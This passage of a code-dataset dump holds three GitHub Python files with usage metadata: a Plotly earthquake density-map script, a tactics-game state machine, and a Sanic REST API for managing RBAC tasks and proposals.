"usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 1114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 1115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 1117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 1121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 1122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1132, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 1132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 1134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 1135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 1136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 1137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 1138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 1140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1140, "usage_type": "name"}]}
{"seq_id": "42469431199", "text": "import pandas as pd # Biblioteca usada para criação de dataframe\r\n\r\nquakes = pd.read_csv('https://raw.githubusercontent.com/plotly/datasets/master/earthquakes-23k.csv') # Cria o dataframe com dados do arquivo\r\n\r\nimport plotly.graph_objects as go # Chama o módulo go\r\n\r\n# Cria a figura e suas configurações\r\nfig = go.Figure(go.Densitymapbox(lat=quakes.Latitude, lon=quakes.Longitude, z=quakes.Magnitude, # Chama os dados de lat/long\r\n                                 radius=10))\r\nfig.update_layout(mapbox_style=\"stamen-terrain\", mapbox_center_lon=180) # Adiciona no layout o estilo do mapa\r\nfig.update_layout(margin={\"r\":0,\"t\":0,\"l\":0,\"b\":0}) # Configura no layout as proporções\r\nfig.show() # Plota o gráfico", "repo_name": "Rafabs/Python", "sub_path": "Plotly/Mapa de Calor no Globo Terrestre/Exemplo 2/MAPA DE CALOR COM MAPAS ex.2.py", "file_name": "MAPA DE CALOR COM MAPAS ex.2.py", "file_ext": "py", "file_size_in_byte": 715, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pandas.read_csv", "line_number": 3, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 8, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 8, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Densitymapbox", "line_number": 8, "usage_type": "call"}]}
{"seq_id": "13648604540", "text": "import logging\n\nclass SimpleStateMachine():\n    def __init__(self, starting_state):\n        self.state = []\n        self.state.append(starting_state)\n\n    def change(self, new_state):\n        self.state.append(new_state)\n\n    def back(self):\n        self.state.pop()\n\n    def get_state(self):\n        if self.state:\n            return self.state[-1]\n        return None\n\n    def clear(self):\n        self.state.clear()\n\nclass StateMachine():\n    def __init__(self):\n        self.state = []\n        self.temp_state = []\n        self.prev_state = None\n\n    def load_states(self, starting_states=None, temp_state=None):\n        from app.engine import title_screen, transitions, general_states, level_up, \\\n            turnwheel, game_over, settings, info_menu, prep, base, trade, promotion, \\\n            status_upkeep, debug_mode, chapter_title, player_choice, feat_choice, \\\n            victory_screen, objective_menu, minimap, roam_state\n        from app.events import event_state\n        self.all_states = \\\n            {'title_start': title_screen.TitleStartState,\n             'title_main': title_screen.TitleMainState,\n             'title_load': title_screen.TitleLoadState,\n             'title_restart': title_screen.TitleRestartState,\n             'title_mode': title_screen.TitleModeState,\n             'title_new': title_screen.TitleNewState,\n             'title_new_child': title_screen.TitleNewChildState,\n             'title_extras': title_screen.TitleExtrasState,\n             'title_all_saves': title_screen.TitleAllSavesState,\n             'title_wait': title_screen.TitleWaitState,\n             'title_save': title_screen.TitleSaveState,\n             'in_chapter_save': title_screen.TitleSaveState,\n             'transition_in': transitions.TransitionInState,\n             'transition_out': transitions.TransitionOutState,\n             'transition_pop': transitions.TransitionPopState,\n             'transition_double_pop': transitions.TransitionDoublePopState,\n             'transition_to': transitions.TransitionToState,\n             'turn_change': general_states.TurnChangeState,\n             'initiative_upkeep': general_states.InitiativeUpkeep,\n             'free': general_states.FreeState,\n             'option_menu': general_states.OptionMenuState,\n             'option_child': general_states.OptionChildState,\n             'settings_menu': settings.SettingsMenuState,\n             'objective_menu': objective_menu.ObjectiveMenuState,\n             'info_menu': info_menu.InfoMenuState,\n             'phase_change': general_states.PhaseChangeState,\n             'move': general_states.MoveState,\n             'movement': general_states.MovementState,\n             'wait': general_states.WaitState,\n             'canto_wait': general_states.CantoWaitState,\n             'move_camera': general_states.MoveCameraState,\n             'dying': general_states.DyingState,\n             'menu': general_states.MenuState,\n             'item': general_states.ItemState,\n             'item_child': general_states.ItemChildState,\n             'item_discard': general_states.ItemDiscardState,\n             'targeting': general_states.TargetingState,\n             'trade': trade.TradeState,\n             'combat_trade': trade.CombatTradeState,\n             'weapon_choice': general_states.WeaponChoiceState,\n             'spell_choice': general_states.SpellChoiceState,\n             'combat_targeting': general_states.CombatTargetingState,\n             'item_targeting': general_states.ItemTargetingState,\n             'combat': general_states.CombatState,\n             'alert': general_states.AlertState,\n             'ai': general_states.AIState,\n             'shop': general_states.ShopState,\n             'unlock_select': general_states.UnlockSelectState,\n             'exp': level_up.ExpState,\n             'promotion_choice': promotion.PromotionChoiceState,\n             'class_change_choice': promotion.ClassChangeChoiceState,\n             'promotion': promotion.PromotionState,\n             'class_change': promotion.ClassChangeState,\n             'feat_choice': feat_choice.FeatChoiceState,\n             'turnwheel': turnwheel.TurnwheelState,\n             'game_over': game_over.GameOverState,\n             'chapter_title': chapter_title.ChapterTitleState,\n             'event': event_state.EventState,\n             'player_choice': player_choice.PlayerChoiceState,\n             'victory': victory_screen.VictoryState,\n             'minimap': minimap.MinimapState,\n             'status_upkeep': status_upkeep.StatusUpkeepState,\n             'status_endstep': status_upkeep.StatusUpkeepState,\n             'prep_main': prep.PrepMainState,\n             'prep_pick_units': prep.PrepPickUnitsState,\n             'prep_formation': prep.PrepFormationState,\n             'prep_formation_select': prep.PrepFormationSelectState,\n             'prep_manage': prep.PrepManageState,\n             'prep_manage_select': prep.PrepManageSelectState,\n             'base_manage': prep.PrepManageState,\n             'base_manage_select': prep.PrepManageSelectState,\n             'prep_trade_select': prep.PrepTradeSelectState,\n             'prep_trade': trade.PrepTradeState,\n             'prep_items': prep.PrepItemsState,\n             'supply_items': prep.PrepItemsState,\n             'prep_restock': prep.PrepRestockState,\n             'prep_market': prep.PrepMarketState,\n             'base_main': base.BaseMainState,\n             'base_market_select': base.BaseMarketSelectState,\n             'base_bexp_select': base.BaseBEXPSelectState,\n             'base_bexp_allocate': base.BaseBEXPAllocateState,\n             'base_convos_child': base.BaseConvosChildState,\n             'base_supports': base.BaseSupportsState,\n             'base_codex_child': base.BaseCodexChildState,\n             'base_library': base.BaseLibraryState,\n             'base_guide': base.BaseGuideState,\n             'base_records': base.BaseRecordsState,\n             'free_roam': roam_state.FreeRoamState,\n             'debug': debug_mode.DebugState,\n             }\n\n        if starting_states:\n            for state_name in starting_states:\n                self.state.append(self.all_states[state_name](state_name))\n        if temp_state:\n            self.temp_state = temp_state\n\n    def state_names(self):\n        return [s.name for s in self.state]\n\n    def change(self, new_state):\n        self.temp_state.append(new_state)\n\n    def back(self):\n        self.temp_state.append('pop')\n\n    def clear(self):\n        self.temp_state.append('clear')\n\n    def refresh(self):\n        # Clears all states except the top one\n        self.state = self.state[-1:]\n\n    def current(self):\n        if self.state:\n            return self.state[-1].name\n\n    def exit_state(self, state):\n        if state.processed:\n            state.processed = False\n            state.end()\n        state.finish()\n\n    def from_transition(self):\n        return self.prev_state in ('transition_out', 'transition_to', 'transition_pop', 'transition_double_pop')\n\n    def process_temp_state(self):\n        if self.temp_state:\n            logging.debug(\"Temp State: %s\", self.temp_state)\n        for transition in self.temp_state:\n            if transition == 'pop':\n                if self.state:\n                    state = self.state[-1]\n                    self.exit_state(state)\n                    self.state.pop()\n            elif transition == 'clear':\n                for state in reversed(self.state):\n                    self.exit_state(state)\n                self.state.clear()\n            else:\n                new_state = self.all_states[transition](transition)\n                self.state.append(new_state)\n        if self.temp_state:\n            logging.debug(\"State: %s\", self.state_names())\n        self.temp_state.clear()\n        \n    def update(self, event, surf):\n        if not self.state:\n            return None, False\n        state = self.state[-1]\n        repeat_flag = False  # Whether we run the state machine again in the same frame\n        # Start\n        if not state.started:\n            state.started = True\n            start_output = state.start()\n            if start_output == 'repeat':\n                repeat_flag = True\n            self.prev_state = state.name\n        # Begin\n        if not repeat_flag and not state.processed:\n            state.processed = True\n            begin_output = state.begin()\n            if begin_output == 'repeat':\n                repeat_flag = True\n        # Take Input\n        if not repeat_flag:\n            input_output = state.take_input(event)\n            if input_output == 'repeat':\n                repeat_flag = True\n        # Update\n        if not repeat_flag:\n            update_output = state.update()\n            if update_output == 'repeat':\n                repeat_flag = True\n        # Draw\n        if not repeat_flag:\n            # Handles transparency of states\n            idx = -1\n            while True:\n                if self.state[idx].transparent and len(self.state) >= (abs(idx) + 1):\n                    idx -= 1\n                else:\n                    break\n            while idx <= -1:\n                surf = self.state[idx].draw(surf)\n                idx += 1\n        # End\n        if self.temp_state and state.processed:\n            state.processed = False\n            state.end()\n        # Finish\n        self.process_temp_state()  # This is where FINISH is taken care of\n        return surf, repeat_flag\n\n    def save(self):\n        return [state.name for state in self.state], self.temp_state[:]  # Needs to be a copy!!!\n", "repo_name": "zerorock1312/lt-maker-master", "sub_path": "app/engine/state_machine.py", "file_name": "state_machine.py", "file_ext": "py", "file_size_in_byte": 9569, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "app.engine.title_screen.TitleStartState", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 35, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleMainState", "line_number": 36, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 36, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleLoadState", "line_number": 37, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 37, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleRestartState", "line_number": 38, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 38, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleModeState", "line_number": 39, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 39, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleNewState", "line_number": 40, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 40, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleNewChildState", "line_number": 41, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 41, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleExtrasState", "line_number": 42, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 42, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleAllSavesState", "line_number": 43, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 43, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleWaitState", "line_number": 44, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 44, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleSaveState", "line_number": 45, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 45, "usage_type": "name"}, {"api_name": "app.engine.title_screen.TitleSaveState", "line_number": 46, "usage_type": "attribute"}, {"api_name": "app.engine.title_screen", "line_number": 46, "usage_type": "name"}, {"api_name": "app.engine.transitions.TransitionInState", "line_number": 47, "usage_type": "attribute"}, {"api_name": "app.engine.transitions", "line_number": 47, "usage_type": "name"}, {"api_name": "app.engine.transitions.TransitionOutState", "line_number": 48, "usage_type": "attribute"}, {"api_name": "app.engine.transitions", "line_number": 48, "usage_type": "name"}, {"api_name": "app.engine.transitions.TransitionPopState", "line_number": 49, "usage_type": "attribute"}, {"api_name": "app.engine.transitions", "line_number": 49, "usage_type": "name"}, {"api_name": "app.engine.transitions.TransitionDoublePopState", "line_number": 50, "usage_type": "attribute"}, {"api_name": "app.engine.transitions", "line_number": 50, "usage_type": "name"}, {"api_name": "app.engine.transitions.TransitionToState", "line_number": 51, "usage_type": "attribute"}, {"api_name": "app.engine.transitions", "line_number": 51, "usage_type": "name"}, {"api_name": "app.engine.general_states.TurnChangeState", "line_number": 52, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 52, "usage_type": "name"}, {"api_name": "app.engine.general_states.InitiativeUpkeep", "line_number": 53, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 53, "usage_type": "name"}, {"api_name": "app.engine.general_states.FreeState", "line_number": 54, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 54, "usage_type": "name"}, {"api_name": "app.engine.general_states.OptionMenuState", "line_number": 55, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 55, "usage_type": "name"}, {"api_name": "app.engine.general_states.OptionChildState", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 56, "usage_type": "name"}, {"api_name": "app.engine.settings.SettingsMenuState", "line_number": 57, "usage_type": "attribute"}, {"api_name": "app.engine.settings", "line_number": 57, "usage_type": "name"}, {"api_name": "app.engine.objective_menu.ObjectiveMenuState", "line_number": 58, "usage_type": "attribute"}, {"api_name": "app.engine.objective_menu", "line_number": 58, "usage_type": "name"}, {"api_name": "app.engine.info_menu.InfoMenuState", "line_number": 59, "usage_type": "attribute"}, {"api_name": "app.engine.info_menu", "line_number": 59, "usage_type": "name"}, {"api_name": "app.engine.general_states.PhaseChangeState", "line_number": 60, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 60, "usage_type": "name"}, {"api_name": "app.engine.general_states.MoveState", "line_number": 61, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 61, "usage_type": "name"}, {"api_name": "app.engine.general_states.MovementState", "line_number": 62, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 62, "usage_type": "name"}, {"api_name": "app.engine.general_states.WaitState", "line_number": 63, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 63, "usage_type": "name"}, {"api_name": "app.engine.general_states.CantoWaitState", "line_number": 64, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 64, "usage_type": "name"}, {"api_name": "app.engine.general_states.MoveCameraState", "line_number": 65, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 65, "usage_type": "name"}, {"api_name": "app.engine.general_states.DyingState", "line_number": 66, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 66, "usage_type": "name"}, {"api_name": "app.engine.general_states.MenuState", "line_number": 67, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 67, "usage_type": "name"}, {"api_name": "app.engine.general_states.ItemState", "line_number": 68, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 68, "usage_type": "name"}, {"api_name": "app.engine.general_states.ItemChildState", "line_number": 69, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 69, "usage_type": "name"}, {"api_name": "app.engine.general_states.ItemDiscardState", "line_number": 70, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 70, "usage_type": "name"}, {"api_name": "app.engine.general_states.TargetingState", "line_number": 71, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 71, "usage_type": "name"}, {"api_name": "app.engine.trade.TradeState", "line_number": 72, "usage_type": "attribute"}, {"api_name": "app.engine.trade", "line_number": 72, "usage_type": "name"}, {"api_name": "app.engine.trade.CombatTradeState", "line_number": 73, "usage_type": "attribute"}, {"api_name": "app.engine.trade", "line_number": 73, "usage_type": "name"}, {"api_name": "app.engine.general_states.WeaponChoiceState", "line_number": 74, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 74, "usage_type": "name"}, {"api_name": "app.engine.general_states.SpellChoiceState", "line_number": 75, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 75, "usage_type": "name"}, {"api_name": "app.engine.general_states.CombatTargetingState", "line_number": 76, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 76, "usage_type": "name"}, {"api_name": "app.engine.general_states.ItemTargetingState", "line_number": 77, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 77, "usage_type": "name"}, {"api_name": "app.engine.general_states.CombatState", "line_number": 78, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 78, "usage_type": "name"}, {"api_name": "app.engine.general_states.AlertState", "line_number": 79, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 79, "usage_type": "name"}, {"api_name": "app.engine.general_states.AIState", "line_number": 80, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 80, "usage_type": "name"}, {"api_name": "app.engine.general_states.ShopState", "line_number": 81, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 81, "usage_type": "name"}, {"api_name": "app.engine.general_states.UnlockSelectState", "line_number": 82, "usage_type": "attribute"}, {"api_name": "app.engine.general_states", "line_number": 82, "usage_type": "name"}, {"api_name": "app.engine.level_up.ExpState", "line_number": 83, "usage_type": "attribute"}, {"api_name": "app.engine.level_up", "line_number": 83, "usage_type": "name"}, {"api_name": "app.engine.promotion.PromotionChoiceState", "line_number": 84, "usage_type": "attribute"}, {"api_name": "app.engine.promotion", "line_number": 84, "usage_type": "name"}, {"api_name": "app.engine.promotion.ClassChangeChoiceState", "line_number": 85, "usage_type": "attribute"}, {"api_name": "app.engine.promotion", "line_number": 85, "usage_type": "name"}, {"api_name": "app.engine.promotion.PromotionState", "line_number": 86, "usage_type": "attribute"}, {"api_name": "app.engine.promotion", "line_number": 86, "usage_type": "name"}, {"api_name": "app.engine.promotion.ClassChangeState", "line_number": 87, "usage_type": "attribute"}, {"api_name": "app.engine.promotion", "line_number": 87, "usage_type": "name"}, {"api_name": "app.engine.feat_choice.FeatChoiceState", "line_number": 88, "usage_type": "attribute"}, {"api_name": "app.engine.feat_choice", "line_number": 88, "usage_type": "name"}, {"api_name": "app.engine.turnwheel.TurnwheelState", "line_number": 89, "usage_type": "attribute"}, {"api_name": "app.engine.turnwheel", "line_number": 89, "usage_type": "name"}, {"api_name": "app.engine.game_over.GameOverState", "line_number": 90, "usage_type": "attribute"}, {"api_name": "app.engine.game_over", "line_number": 90, "usage_type": "name"}, {"api_name": "app.engine.chapter_title.ChapterTitleState", "line_number": 91, "usage_type": "attribute"}, {"api_name": "app.engine.chapter_title", "line_number": 91, "usage_type": "name"}, {"api_name": "app.events.event_state.EventState", "line_number": 92, "usage_type": "attribute"}, {"api_name": "app.events.event_state", "line_number": 92, "usage_type": "name"}, {"api_name": "app.engine.player_choice.PlayerChoiceState", "line_number": 93, "usage_type": "attribute"}, {"api_name": "app.engine.player_choice", "line_number": 93, "usage_type": "name"}, {"api_name": "app.engine.victory_screen.VictoryState", "line_number": 94, "usage_type": "attribute"}, {"api_name": "app.engine.victory_screen", "line_number": 94, "usage_type": "name"}, {"api_name": "app.engine.minimap.MinimapState", "line_number": 95, "usage_type": "attribute"}, {"api_name": "app.engine.minimap", "line_number": 95, "usage_type": "name"}, {"api_name": "app.engine.status_upkeep.StatusUpkeepState", "line_number": 96, "usage_type": "attribute"}, {"api_name": "app.engine.status_upkeep", "line_number": 96, "usage_type": "name"}, {"api_name": "app.engine.status_upkeep.StatusUpkeepState", "line_number": 97, "usage_type": "attribute"}, {"api_name": "app.engine.status_upkeep", "line_number": 97, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepMainState", "line_number": 98, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 98, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepPickUnitsState", "line_number": 99, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 99, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepFormationState", "line_number": 100, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 100, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepFormationSelectState", "line_number": 101, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 101, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepManageState", "line_number": 102, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 102, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepManageSelectState", "line_number": 103, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 103, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepManageState", "line_number": 104, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 104, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepManageSelectState", "line_number": 105, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 105, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepTradeSelectState", "line_number": 106, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 106, "usage_type": "name"}, {"api_name": "app.engine.trade.PrepTradeState", "line_number": 107, "usage_type": "attribute"}, {"api_name": "app.engine.trade", "line_number": 107, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepItemsState", "line_number": 108, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 108, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepItemsState", "line_number": 109, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 109, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepRestockState", "line_number": 110, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 110, "usage_type": "name"}, {"api_name": "app.engine.prep.PrepMarketState", "line_number": 111, "usage_type": "attribute"}, {"api_name": "app.engine.prep", "line_number": 111, "usage_type": "name"}, {"api_name": "app.engine.base.BaseMainState", "line_number": 112, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 112, "usage_type": "name"}, {"api_name": "app.engine.base.BaseMarketSelectState", "line_number": 113, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 113, "usage_type": "name"}, {"api_name": "app.engine.base.BaseBEXPSelectState", "line_number": 114, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 114, "usage_type": "name"}, {"api_name": "app.engine.base.BaseBEXPAllocateState", "line_number": 115, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 115, "usage_type": "name"}, {"api_name": "app.engine.base.BaseConvosChildState", "line_number": 116, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 116, "usage_type": "name"}, {"api_name": "app.engine.base.BaseSupportsState", "line_number": 117, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 117, "usage_type": "name"}, {"api_name": "app.engine.base.BaseCodexChildState", "line_number": 118, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 118, "usage_type": "name"}, {"api_name": "app.engine.base.BaseLibraryState", "line_number": 119, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 119, "usage_type": "name"}, {"api_name": "app.engine.base.BaseGuideState", "line_number": 120, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 120, "usage_type": "name"}, {"api_name": "app.engine.base.BaseRecordsState", "line_number": 121, "usage_type": "attribute"}, {"api_name": "app.engine.base", "line_number": 121, "usage_type": "name"}, {"api_name": "app.engine.roam_state.FreeRoamState", "line_number": 122, "usage_type": "attribute"}, {"api_name": "app.engine.roam_state", "line_number": 122, "usage_type": "name"}, {"api_name": "app.engine.debug_mode.DebugState", "line_number": 123, "usage_type": "attribute"}, {"api_name": "app.engine.debug_mode", "line_number": 123, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 163, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 178, "usage_type": "call"}]}
{"seq_id": "29920177826", "text": "from uuid import uuid4\n\nfrom sanic import Blueprint\nfrom sanic.response import json\n\nfrom rbac.common.task import Task\nfrom rbac.server.api.auth import authorized\nfrom rbac.server.api import utils\nfrom rbac.server.db import tasks_query\nfrom rbac.server.db.relationships_query import fetch_relationships\n\nTASKS_BP = Blueprint(\"tasks\")\n\n\n@TASKS_BP.get(\"api/tasks\")\n@authorized()\nasync def get_all_tasks(request):\n    \"\"\"Get all tasks.\"\"\"\n    head_block = await utils.get_request_block(request)\n    start, limit = utils.get_request_paging_info(request)\n    task_resources = await tasks_query.fetch_all_task_resources(\n        request.app.config.DB_CONN, start, limit\n    )\n    return await utils.create_response(\n        request.app.config.DB_CONN,\n        request.url,\n        task_resources,\n        head_block,\n        start=start,\n        limit=limit,\n    )\n\n\n@TASKS_BP.post(\"api/tasks\")\n@authorized()\nasync def create_new_task(request):\n    \"\"\"Create a new task.\"\"\"\n    required_fields = [\"name\", \"administrators\", \"owners\"]\n    utils.validate_fields(required_fields, request.json)\n\n    txn_key, txn_user_id = await utils.get_transactor_key(request)\n    task_id = str(uuid4())\n    batch_list = Task().batch_list(\n        signer_keypair=txn_key,\n        signer_user_id=txn_user_id,\n        task_id=task_id,\n        name=request.json.get(\"name\"),\n        admins=request.json.get(\"administrators\"),\n        owners=request.json.get(\"owners\"),\n        metdata=request.json.get(\"metadata\"),\n    )\n    await utils.send(\n        request.app.config.VAL_CONN, batch_list, request.app.config.TIMEOUT\n    )\n    return create_task_response(request, task_id)\n\n\n@TASKS_BP.get(\"api/tasks/\")\n@authorized()\nasync def get_task(request, task_id):\n    \"\"\"Get a specific task by task_id.\"\"\"\n    head_block = await utils.get_request_block(request)\n    task_resource = await tasks_query.fetch_task_resource(\n        request.app.config.DB_CONN, task_id\n    )\n    return await utils.create_response(\n        request.app.config.DB_CONN, request.url, task_resource, head_block\n    )\n\n\n@TASKS_BP.post(\"api/tasks//admins\")\n@authorized()\nasync def add_task_admin(request, task_id):\n    \"\"\"Propose add a task admin.\"\"\"\n    required_fields = [\"id\"]\n    utils.validate_fields(required_fields, request.json)\n\n    txn_key, txn_user_id = await utils.get_transactor_key(request)\n    proposal_id = str(uuid4())\n    approver = await fetch_relationships(\"task_admins\", \"task_id\", task_id).run(\n        request.app.config.DB_CONN\n    )\n    batch_list = Task().admin.propose.batch_list(\n        signer_keypair=txn_key,\n        signer_user_id=txn_user_id,\n        proposal_id=proposal_id,\n        task_id=task_id,\n        next_id=request.json.get(\"id\"),\n        reason=request.json.get(\"reason\"),\n        metadata=request.json.get(\"metadata\"),\n        assigned_approver=approver,\n    )\n    await utils.send(\n        request.app.config.VAL_CONN, batch_list, request.app.config.TIMEOUT\n    )\n    return json({\"proposal_id\": proposal_id})\n\n\n@TASKS_BP.post(\"api/tasks//owners\")\n@authorized()\nasync def add_task_owner(request, task_id):\n    \"\"\"Propose add a task owner.\"\"\"\n    required_fields = [\"id\"]\n    utils.validate_fields(required_fields, request.json)\n\n    txn_key, txn_user_id = await utils.get_transactor_key(request)\n    proposal_id = str(uuid4())\n    approver = await fetch_relationships(\"task_admins\", \"task_id\", task_id).run(\n        request.app.config.DB_CONN\n    )\n    batch_list = Task().owner.propose.batch_list(\n        signer_keypair=txn_key,\n        signer_user_id=txn_user_id,\n        proposal_id=proposal_id,\n        task_id=task_id,\n        next_id=request.json.get(\"id\"),\n        reason=request.json.get(\"reason\"),\n        metadata=request.json.get(\"metadata\"),\n        assigned_approver=approver,\n    )\n    await utils.send(\n        request.app.config.VAL_CONN, batch_list, request.app.config.TIMEOUT\n    )\n    return json({\"proposal_id\": proposal_id})\n\n\ndef create_task_response(request, task_id):\n    \"\"\"Prepare the json response for create new task.\"\"\"\n    task_resource = {\n        \"id\": task_id,\n        \"name\": request.json.get(\"name\"),\n        \"owners\": request.json.get(\"owners\"),\n        \"administrators\": request.json.get(\"administrators\"),\n        \"roles\": [],\n        \"proposals\": [],\n    }\n\n    if request.json.get(\"metadata\"):\n        task_resource[\"metadata\"] = request.json.get(\"metadata\")\n\n    return json({\"data\": task_resource})\n", "repo_name": "pgobin-zz/sawtooth-next-directory", "sub_path": "rbac/server/api/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 4453, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "69", "api": [{"api_name": "sanic.Blueprint", "line_number": 12, "usage_type": "call"}, 